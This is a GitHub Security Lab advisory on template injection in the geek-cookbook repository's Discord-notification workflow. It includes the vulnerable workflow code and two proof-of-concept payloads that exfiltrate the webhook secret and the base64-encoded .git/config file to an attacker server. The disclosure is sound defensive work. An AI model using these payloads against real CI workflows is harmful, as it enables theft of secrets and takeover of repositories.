skip to content
Back to
Home Bounties Research Advisories CodeQL Wall of Fame Get Involved Events
March 25, 2021

GHSL-2020-323: Template injection in a GitHub workflow of geek-cookbook

Jaroslav Lobacevski

Coordinated Disclosure Timeline


The ‘on-push-master-notify-discord.yml’ GitHub workflow is vulnerable to template injection.


geek-cookbook/geek-cookbook GitHub repository

Tested Version

The latest changeset to the date 7693133.


Issue: A commit comment is used to format a Discord message

    - name: Discord notification
      uses: Ilshidur/action-discord@master
        args: |
          Greetings, geeks!  🤓
          The [Geek's Cookbook]( has been updated!
          Here's what's fresh:
          :cupcake: [${{github.event.commits[0].message}}]({{ }})

The ${{github.event.commits[0].message}}, used here, allows for injection of arbitrary markdown into the Discord message. However this is not all.

The Discord action supports interpolation syntax for environment variables. There are examples of intended usage in the documentation such as The project {{ EVENT_PAYLOAD.repository.full_name }} has been deployed. The interpolation is implemented in a way that the expressions may be interpreted as javascript:

const _ = require('lodash');
const message = _.template(args)({ ...process.env, EVENT_PAYLOAD: JSON.parse(eventContent) });

An attacker may create a specially crafted commit description and make a valid pull request, that will get merged. It is likely that the reviewer will not notice it, especially if there are multiple commits in the PR.


This vulnerability allows for arbitrary code execution in the context of a GitHub runner. The following payload would exfiltrate the secret DISCORD_WEBHOOK to an attacker-controlled server. This would give the attacker full control over the Discord message hook.

{{ process.mainModule.require('http').get(`${DISCORD_WEBHOOK}`) }}

While the workflow is using only one secret, the injection may get much more severe if the workflow gets more complex. For example, if a checkout action is used without persist-credentials set to false an attacker could get write access to the repository with the payload below:

{{ process.mainModule.require('http').get(''+process.mainModule.require('fs').readFileSync('./.git/config').toString('base64')) }}


This issue was discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).


You can contact the GHSL team at, please include a reference to GHSL-2020-323 in any communication regarding this issue.